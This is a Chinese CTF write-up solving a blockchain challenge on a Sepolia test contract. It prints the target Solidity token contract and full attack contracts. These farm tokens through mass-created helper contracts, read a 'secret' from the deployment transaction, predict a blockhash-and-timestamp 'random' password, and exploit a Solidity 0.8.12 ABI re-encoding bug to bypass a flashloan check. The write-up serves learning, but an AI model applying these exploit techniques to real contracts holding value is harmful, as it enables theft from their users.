本次题目的地址为 sepolia@0x053cd080A26CB03d5E6d2956CeBB31c56E7660CA
# 前言
这一次 1024 程序员节中有区块链相关的题目,作为今年才开始起步区块链的小萌新,这一题也是整整看了一整个周末才做出来,不过做出来之后也是相当的具有成就感滴:), 话不多说,我们现在就来看一看如何做出这一题.
# 源码
先上合约源码↓↓↓↓↓↓
// SPDX-License-Identifier: MIT | |
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol) | |
pragma solidity 0.8.12; | |
import "./IERC20.sol"; | |
import "./IERC20Metadata.sol"; | |
import "./Context.sol"; | |
//import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; | |
//import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; | |
//import "@openzeppelin/contracts/utils/Context.sol"; | |
struct Coupon { | |
uint loankey; | |
uint256 amount; | |
address buser; | |
bytes reason; | |
} | |
struct Signature { | |
uint8 v; | |
bytes32[2] rs; | |
} | |
struct SignCoupon { | |
Coupon coupon; | |
Signature signature; | |
} | |
contract MyToken is Context, IERC20, IERC20Metadata { | |
mapping(address => uint256) public _balances; | |
mapping(address => uint) public _ebalances; | |
mapping(address => uint) public ethbalances; | |
mapping(address => mapping(address => uint256)) private _allowances; | |
mapping(address => uint) public _profited; | |
mapping(address => uint) public _auth_one; | |
mapping(address => uint) public _authd; | |
mapping(address => uint) public _loand; | |
mapping(address => uint) public _flag; | |
mapping(address => uint) public _depositd; | |
uint256 private _totalSupply; | |
string private _name; | |
string private _symbol; | |
address owner; | |
address backup; | |
uint secret; | |
uint tokenprice; | |
Coupon public c; | |
address public lala; | |
address public xixi; | |
//mid = bilibili uid | |
//b64email = base64(your email address) | |
//Don't leak your bilibili uid | |
//Gmail is ok. 163 and qq may have some problems. | |
event sendflag(string mid, string b64email); | |
event changeprice(uint secret_); | |
constructor(string memory name_, string memory symbol_, uint secret_) { | |
_name = name_; | |
_symbol = symbol_; | |
owner = msg.sender; | |
backup = msg.sender; | |
tokenprice = 6; | |
secret = secret_; | |
_mint(owner, 2233102400); | |
} | |
modifier onlyowner() { | |
require(msg.sender == owner); | |
_; | |
} | |
/** | |
* @dev Returns the name of the token. | |
*/ | |
function name() public view virtual override returns (string memory) { | |
return _name; | |
} | |
function symbol() public view virtual override returns (string memory) { | |
return _symbol; | |
} | |
function decimals() public view virtual override returns (uint8) { | |
return 18; | |
} | |
/** | |
* @dev See {IERC20-totalSupply}. | |
*/ | |
function totalSupply() public view virtual override returns (uint256) { | |
return _totalSupply; | |
} | |
/** | |
* @dev See {IERC20-balanceOf}. | |
*/ | |
function balanceOf(address account) public view virtual override returns (uint256) { | |
return _balances[account]; | |
} | |
function transfer(address to, uint256 amount) public virtual override returns (bool) { | |
address owner = _msgSender(); | |
_transfer(owner, to, amount); | |
return true; | |
} | |
function deposit() public { | |
require(_depositd[msg.sender] == 0, "you can only deposit once"); | |
_depositd[msg.sender] = 1; | |
ethbalances[msg.sender] += 1; | |
} | |
function getBalance() public view returns (uint) { | |
return address(this).balance; | |
} | |
function setbackup() public onlyowner { | |
owner = backup; | |
} | |
function ownerbackdoor() public { | |
require(msg.sender == owner); | |
_mint(owner, 1000); | |
} | |
function auth1(uint pass_) public { | |
require(pass_ == secret, "auth fail"); | |
require(_authd[msg.sender] == 0, "already authd"); | |
_auth_one[msg.sender] += 1; | |
_authd[msg.sender] += 1; | |
} | |
function auth2(uint pass_) public { | |
uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))); | |
require(pass == pass_, "password error, auth fail"); | |
require(_auth_one[msg.sender] == 1, "need pre auth"); | |
require(_authd[msg.sender] == 1, "already authd"); | |
_authd[msg.sender] += 1; | |
} | |
function payforflag(string memory mid, string memory b64email) public { | |
require(_flag[msg.sender] == 2); | |
emit sendflag(mid, b64email); | |
} | |
function flashloan(SignCoupon calldata scoupon) public { | |
require(scoupon.coupon.loankey == 0, "loan key error"); | |
require(msg.sender == address(this), "hacker get out"); | |
Coupon memory coupon = scoupon.coupon; | |
Signature memory sig = scoupon.signature; | |
c=coupon; | |
require(_authd[scoupon.coupon.buser] == 2, "need pre auth"); | |
require(_loand[scoupon.coupon.buser] == 0, "you have already loaned"); | |
require(scoupon.coupon.amount <= 300, "loan amount error"); | |
_loand[scoupon.coupon.buser] = 1; | |
_ebalances[scoupon.coupon.buser] += scoupon.coupon.amount; | |
} | |
function profit() public { | |
require(_profited[msg.sender] == 0); | |
_profited[msg.sender] += 1; | |
_transfer(owner, msg.sender, 1); | |
} | |
function borrow(uint amount) public { | |
require(amount == 1); | |
require(_profited[msg.sender] <= 1); | |
_profited[msg.sender] += 1; | |
_transfer(owner, msg.sender, amount); | |
} | |
function buy(uint amount) public { | |
require(amount <= 300, "max buy count is 300"); | |
uint price; | |
uint ethmount = _ebalances[msg.sender]; | |
if (ethmount < 10) { | |
price = 1000000; | |
} else if (ethmount >= 10 && ethmount <= 233) { | |
price = 10000; | |
} else { | |
price = 1; | |
} | |
uint payment = amount * price; | |
require(payment <= ethmount); | |
_ebalances[msg.sender] -= payment; | |
_transfer(owner, msg.sender, amount); | |
} | |
function sale(uint amount) public { | |
require(_balances[msg.sender] >= amount, "fail to sale"); | |
uint earn = amount * tokenprice; | |
_transfer(msg.sender, owner, amount); | |
_ebalances[msg.sender] += earn; | |
} | |
function withdraw() public { | |
require(ethbalances[msg.sender] >= 1); | |
require(_ebalances[msg.sender] >= 1812); | |
payable(msg.sender).call{value:100000000000000000 wei}(""); | |
_ebalances[msg.sender] = 0; | |
_flag[msg.sender] += 1; | |
} | |
/** | |
* @dev See {IERC20-allowance}. | |
*/ | |
function allowance(address owner, address spender) public view virtual override returns (uint256) { | |
return _allowances[owner][spender]; | |
} | |
function approve(address spender, uint256 amount) public virtual override returns (bool) { | |
address owner = _msgSender(); | |
_approve(owner, spender, amount); | |
return true; | |
} | |
function transferFrom( | |
address from, | |
address to, | |
uint256 amount | |
) public virtual override returns (bool) { | |
require(msg.sender == owner); // 不允许被 owner 以外调用 | |
address spender = _msgSender(); | |
_spendAllowance(from, spender, amount); | |
_transfer(from, to, amount); | |
return true; | |
} | |
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { | |
require(msg.sender == owner); // 不允许被 owner 以外调用 | |
address owner = _msgSender(); | |
_approve(owner, spender, allowance(owner, spender) + addedValue); | |
return true; | |
} | |
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { | |
require(msg.sender == owner); // 不允许被 owner 以外调用 | |
address owner = _msgSender(); | |
uint256 currentAllowance = allowance(owner, spender); | |
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); | |
unchecked { | |
_approve(owner, spender, currentAllowance - subtractedValue); | |
} | |
return true; | |
} | |
function _transfer( | |
address from, | |
address to, | |
uint256 amount | |
) internal virtual { | |
require(from != address(0), "ERC20: transfer from the zero address"); | |
require(to != address(0), "ERC20: transfer to the zero address"); | |
_beforeTokenTransfer(from, to, amount); | |
uint256 fromBalance = _balances[from]; | |
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); | |
unchecked { | |
_balances[from] = fromBalance - amount; | |
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by | |
// decrementing then incrementing. | |
_balances[to] += amount; | |
} | |
emit Transfer(from, to, amount); | |
_afterTokenTransfer(from, to, amount); | |
} | |
function _mint(address account, uint256 amount) internal virtual { | |
require(account != address(0), "ERC20: mint to the zero address"); | |
_beforeTokenTransfer(address(0), account, amount); | |
_totalSupply += amount; | |
unchecked { | |
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. | |
_balances[account] += amount; | |
} | |
emit Transfer(address(0), account, amount); | |
_afterTokenTransfer(address(0), account, amount); | |
} | |
function _burn(address account, uint256 amount) internal virtual { | |
require(account != address(0), "ERC20: burn from the zero address"); | |
_beforeTokenTransfer(account, address(0), amount); | |
uint256 accountBalance = _balances[account]; | |
require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); | |
unchecked { | |
_balances[account] = accountBalance - amount; | |
// Overflow not possible: amount <= accountBalance <= totalSupply. | |
_totalSupply -= amount; | |
} | |
emit Transfer(account, address(0), amount); | |
_afterTokenTransfer(account, address(0), amount); | |
} | |
function _approve( | |
address owner, | |
address spender, | |
uint256 amount | |
) internal virtual { | |
require(owner != address(0), "ERC20: approve from the zero address"); | |
require(spender != address(0), "ERC20: approve to the zero address"); | |
_allowances[owner][spender] = amount; | |
emit Approval(owner, spender, amount); | |
} | |
function _spendAllowance( | |
address owner, | |
address spender, | |
uint256 amount | |
) internal virtual { | |
uint256 currentAllowance = allowance(owner, spender); | |
if (currentAllowance != type(uint256).max) { | |
require(currentAllowance >= amount, "ERC20: insufficient allowance"); | |
unchecked { | |
_approve(owner, spender, currentAllowance - amount); | |
} | |
} | |
} | |
function _beforeTokenTransfer( | |
address from, | |
address to, | |
uint256 amount | |
) internal virtual {} | |
function _afterTokenTransfer( | |
address from, | |
address to, | |
uint256 amount | |
) internal virtual {} | |
// debug param secret | |
function get_secret() public view returns (uint) { | |
require(msg.sender == owner); | |
return secret; | |
} | |
// debug param tokenprice | |
function get_price() public view returns (uint) { | |
return tokenprice; | |
} | |
// test need to be delete | |
function testborrowtwice(SignCoupon calldata scoupon) public { | |
require(scoupon.coupon.loankey == 2233); | |
MyToken(this).flashloan(scoupon); | |
} | |
// test need to be delete | |
function set_secret(uint secret_) public onlyowner { | |
secret = secret_; | |
emit changeprice(secret_); | |
} | |
} |
# 1. 明确目标
这里我们注意到了一个函数 payforflag
, 很明显,我们需要调用这一个函数来获得我们的 flag, 那么调用这个函数的条件是什么呢?
function payforflag(string memory mid, string memory b64email) public { | |
require(_flag[msg.sender] == 2); | |
emit sendflag(mid, b64email); | |
} |
我们需要 _flag[msg.sender]
的值为 2
接下来要做的就是寻找函数使 _flag[msg.sender]
的值到 2.
通过寻找,我们找到了 withdraw
这个函数,而这个函数的执行需要满足两个条件,分别是 ethbalances[msg.sender] >= 1
和 _ebalances[msg.sender] >= 1812
.
function withdraw() public { | |
require(ethbalances[msg.sender] >= 1); | |
require(_ebalances[msg.sender] >= 1812); | |
payable(msg.sender).call{value:100000000000000000 wei}(""); | |
_ebalances[msg.sender] = 0; | |
_flag[msg.sender] += 1; | |
} |
# 第一个条件
先看第一个条件 ethbalances[msg.sender] >= 1
, 我们可以使用 deposit
这个函数来令其满足
function deposit() public { | |
require(_depositd[msg.sender] == 0, "you can only deposit once"); | |
_depositd[msg.sender] = 1; | |
ethbalances[msg.sender] += 1; | |
} |
# 第二个条件
再看第二个条件 _ebalances[msg.sender] >= 1812
, 涉及到该变量的函数有 profit
, borrow
, buy
, sale
function profit() public { | |
require(_profited[msg.sender] == 0); | |
_profited[msg.sender] += 1; | |
_transfer(owner, msg.sender, 1); | |
} | |
function borrow(uint amount) public {// 获得 1 个_balances | |
require(amount == 1); | |
require(_profited[msg.sender] <= 1); | |
_profited[msg.sender] += 1; | |
_transfer(owner, msg.sender, amount); | |
} | |
function buy(uint amount) public {// 通过出售_ebalances 购买_balances | |
require(amount <= 300, "max buy count is 300"); | |
uint price; | |
uint ethmount = _ebalances[msg.sender]; | |
if (ethmount < 10) { | |
price = 1000000; | |
} else if (ethmount >= 10 && ethmount <= 233) { | |
price = 10000; | |
} else { | |
price = 1; | |
} | |
uint payment = amount * price; | |
require(payment <= ethmount); | |
_ebalances[msg.sender] -= payment; | |
_transfer(owner, msg.sender, amount); | |
} | |
function sale(uint amount) public {// 通过出售_balances 获得_ebalances | |
require(_balances[msg.sender] >= amount, "fail to sale"); | |
uint earn = amount * tokenprice; | |
_transfer(msg.sender, owner, amount); | |
_ebalances[msg.sender] += earn; | |
} |
我们看看 profit
这个函数,只能运行一次,获得一个 _balances
; 而 borrow
这个函数,一共可以执行两次获得两个 _balances
. 但是这两个函数都有 _profited[msg.sender]
这个变量进行限制,也就是说,我们最多只能通过 profit
或 borrow
函数获得 2 个 _balances
.
那么 _balances
有什么用呢?看一看 sale
函数,我们可以把 _balances
卖掉得到 _ebalances
, 其中 tokenprice
已经被定义为 6 了,所以 _balances
与 _ebalances
之间的兑换比例为 1:6.
而 buy
这个函数,只有当 _ebalances
大于 233 时, _ebalances
与 _balances
之间的兑换比例才是 1:1.
仔细看看上面两段话,稍微思考一下就可以明白,只要我的 _ebalances
比 233 要大,那么不就可以通过与 _balances
互刷的方式不断增加我的 _ebalances
从而满足条件 2 _ebalances[msg.sender] >= 1812
?!
这里我举个简单的例子,假设我现在有 _ebalances
300 个,那么我可以通过 buy(300)
获得 _balances
300 个,随后在通过 sale(300)
获得 _ebalances
300*6=1800 个,然后再重复上面的过程,那么我的 _ebalances
不久可以源源不断的增加的吗~~~~
所以我们现在要做的可以是:
- 获得
_ebalances
大于 233 个 - 或者
_balances
大于等于 39 个 (因为获得 39 个以上的_balances
后,可以通过sale
函数获得的_ebalances
的数量是 6*_balances
, 即 234 个)
# 2. 编写攻击合约
在求解这一题的过程中,我想到了两种方法都可以来获得 flag, 接下来听我一一道来~~
# 方法①
我们知道每一个初始账号都可以固定获得 2 个 _balances
, 那么我们能否通过小号为大号通过 transfer
方法发送 _balances
的方法获得足够数量的 _balances
呢?答案是可行的.
直接上代码!
先写一个拿两个 _balances
并转给大号的合约
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.12; | |
import "./ctf.sol"; | |
contract mulcreate { | |
MyToken public mytoken; | |
constructor(address _MyTokenAddress) { | |
mytoken = MyToken(_MyTokenAddress); | |
} | |
receive() external payable {} | |
function onestep() public{ | |
mytoken.borrow(1); | |
mytoken.borrow(1); | |
mytoken.transfer(adreess(你的主账户地址),2); | |
} | |
} |
再写一个批量创建合约的合约
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.12; | |
import "./create_contract.sol"; | |
contract mulcreate_Factory { | |
mulcreate Mulcreate; | |
function create() external { | |
uint i = 0; | |
for(i=0;i<=20;i=i+1){ | |
Mulcreate = new mulcreate(0x053cd080A26CB03d5E6d2956CeBB31c56E7660CA);// 这个地址就是题目合约的地址 | |
Mulcreate.onestep(); | |
} | |
} | |
} |
通过调用第二个合约,给大号足够的 _balances
启动资金,就可以开始刷 _ebalances
拿 flag 咯~~
# 方法②
细心的同学在做这题的时候有没有发现这个函数 flashloan
, 可以直接给你增加 300 的 _ebalances
!
function flashloan(SignCoupon calldata scoupon) public { | |
require(scoupon.coupon.loankey == 0, "loan key error"); | |
require(msg.sender == address(this), "hacker get out"); | |
Coupon memory coupon = scoupon.coupon; | |
Signature memory sig = scoupon.signature; | |
c=coupon; | |
require(_authd[scoupon.coupon.buser] == 2, "need pre auth"); | |
require(_loand[scoupon.coupon.buser] == 0, "you have already loaned"); | |
require(scoupon.coupon.amount <= 300, "loan amount error"); | |
_loand[scoupon.coupon.buser] = 1; | |
_ebalances[scoupon.coupon.buser] += scoupon.coupon.amount; | |
} |
不过直接编写攻击合约来调用这个函数肯定是不行滴,因为 require(msg.sender == address(this), "hacker get out")
这一句的限制了,咋办嘞?
再找找看叭~~于是我们找到了一个调用 flashloan
的函数 testborrowtwice
, 这不就正好可以满足上面的条件了吗~
function testborrowtwice(SignCoupon calldata scoupon) public {
require(scoupon.coupon.loankey == 2233);
MyToken(this).flashloan(scoupon);
}
不过 flashloan
内还有限制条件 require(_authd[scoupon.coupon.buser] == 2, "need pre auth")
, 就是说需要验证的意思,我们找找这两个验证函数 auth1
和 auth2
function auth1(uint pass_) public { | |
require(pass_ == secret, "auth fail"); | |
require(_authd[msg.sender] == 0, "already authd"); | |
_auth_one[msg.sender] += 1; | |
_authd[msg.sender] += 1; | |
} | |
function auth2(uint pass_) public { | |
uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))); | |
require(pass == pass_, "password error, auth fail"); | |
require(_auth_one[msg.sender] == 1, "need pre auth"); | |
require(_authd[msg.sender] == 1, "already authd"); | |
_authd[msg.sender] += 1; | |
} |
对于 auth1
, secret
不是直接在 constructor
中有定义了嘛~直接看合约
NICE!一下子就找到了根本难不倒我们~
但是当你开开心心的把123456输进去的时候,结果发现居然没通过???
咋回事嘞
再找找看咯
于是你再源码中发现了这个 set_secret
! 没想到 owner
还可以改 secret!!
function set_secret(uint secret_) public onlyowner { | |
secret = secret_; | |
emit changeprice(secret_); | |
} |
这个我们玩区块链的根本不慌滴,区块链的每一笔交易都是有记录的,我们直接去看最早的交易记录.
嘿嘿
这不就有了嘛~
看看这笔交易的信息
嘿嘿 secret
就是 0x154be90, 转一下十进制就是 22331024, 还挺有寓意的嘛~
接下来就是搞 auth2
的时候了
function auth2(uint pass_) public { | |
uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))); | |
require(pass == pass_, "password error, auth fail"); | |
require(_auth_one[msg.sender] == 1, "need pre auth"); | |
require(_authd[msg.sender] == 1, "already authd"); | |
_authd[msg.sender] += 1; | |
} |
当我看到 uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)))
这个的时候,我瞬间乐开了花,这我可太熟悉不过了~
看看这篇文章 Source of Randomness 简直简直就是一个模子里刻出来的哇,
uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)))
这玩意儿看着随机,其实是确定的!
接下来写个攻击合约就可以赚到大把大把的 _balances
咯
直接上代码!
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.12; | |
import "./ctf.sol"; | |
contract Attack { | |
MyToken public mytoken; | |
constructor(address _MyTokenAddress) {//_MyTokenAddress 是题目的合约地址 | |
mytoken = MyToken(_MyTokenAddress); | |
} | |
receive() external payable {} | |
function attack() public{ | |
mytoken.deposit();// 满足 ethbalances [msg.sender] >= 1 | |
mytoken.borrow(1); | |
mytoken.borrow(1);// 得到两个_balances | |
mytoken.auth1(22331024);// 第一个验证 | |
uint answer = uint( | |
keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)) | |
); | |
mytoken.auth2(answer);// 第二个验证 | |
SignCoupon memory scoupon; | |
scoupon.coupon.loankey=2233; | |
scoupon.coupon.amount=300; | |
scoupon.coupon.buser=address(this); | |
mytoken.testborrowtwice(scoupon);// 获得_ebalances 300 个 | |
mytoken.buy(302);// 用_ebalances 去换_balances 302 个 | |
mytoken.transfer(adrress(你自己的账户地址),302);// 给你的大号转账_balances 302 个 | |
} | |
function getBalance() public view returns (uint) { | |
return address(this).balance; | |
} | |
} |
这里简单说明一下为什么将 scoupon.coupon.loankey
赋值为 2233 通过 testborrowtwice
后,在 flashloan
函数中 scoupon.coupon.loankey
又变为 0, 这由于 solidity0.8.12 编译器自身原因导致了这个 bug, 从而使得第一个成员变量的值清零,在 solidity0.8.16 后这个问题得到了修复.
贴一下 bug 描述
"uid": "SOL-2022-6", | |
"name": "AbiReencodingHeadOverflowWithStaticArrayCleanup", | |
"summary": "ABI-encoding a tuple with a statically-sized calldata array in the last component would corrupt 32 leading bytes of its first dynamically encoded component.", | |
"description": "When ABI-encoding a statically-sized calldata array, the compiler always pads the data area to a multiple of 32-bytes and ensures that the padding bytes are zeroed. In some cases, this cleanup used to be performed by always writing exactly 32 bytes, regardless of how many needed to be zeroed. This was done with the assumption that the data that would eventually occupy the area past the end of the array had not yet been written, because the encoder processes tuple components in the order they were given. While this assumption is mostly true, there is an important corner case: dynamically encoded tuple components are stored separately from the statically-sized ones in an area called the *tail* of the encoding and the tail immediately follows the *head*, which is where the statically-sized components are placed. The aforementioned cleanup, if performed for the last component of the head would cross into the tail and overwrite up to 32 bytes of the first component stored there with zeros. The only array type for which the cleanup could actually result in an overwrite were arrays with ``uint256`` or ``bytes32`` as the base element type and in this case the size of the corrupted area was always exactly 32 bytes. The problem affected tuples at any nesting level. This included also structs, which are encoded as tuples in the ABI. Note also that lists of parameters and return values of functions, events and errors are encoded as tuples.", | |
"introduced": "0.5.8", | |
"fixed": "0.8.16", | |
"severity": "medium", | |
"conditions": { | |
"ABIEncoderV2": true | |
} |
# 结语
至此,这第四题区块链的解答就到此结束了
说一说感受吧,每次做区块链的题目都感觉特别有意思,其实本人过去是学习逆向工程的,今年才开始接触区块链,解区块链题目的过程说实话,和逆向分析真的好像哇,都是一个逆向的过程,分析需要满足的条件,然后设法编写合约来让条件得到满足,最终满足所有需要的条件之后获得 flag , 好玩好玩,嘿嘿 (●ˇ∀ˇ●)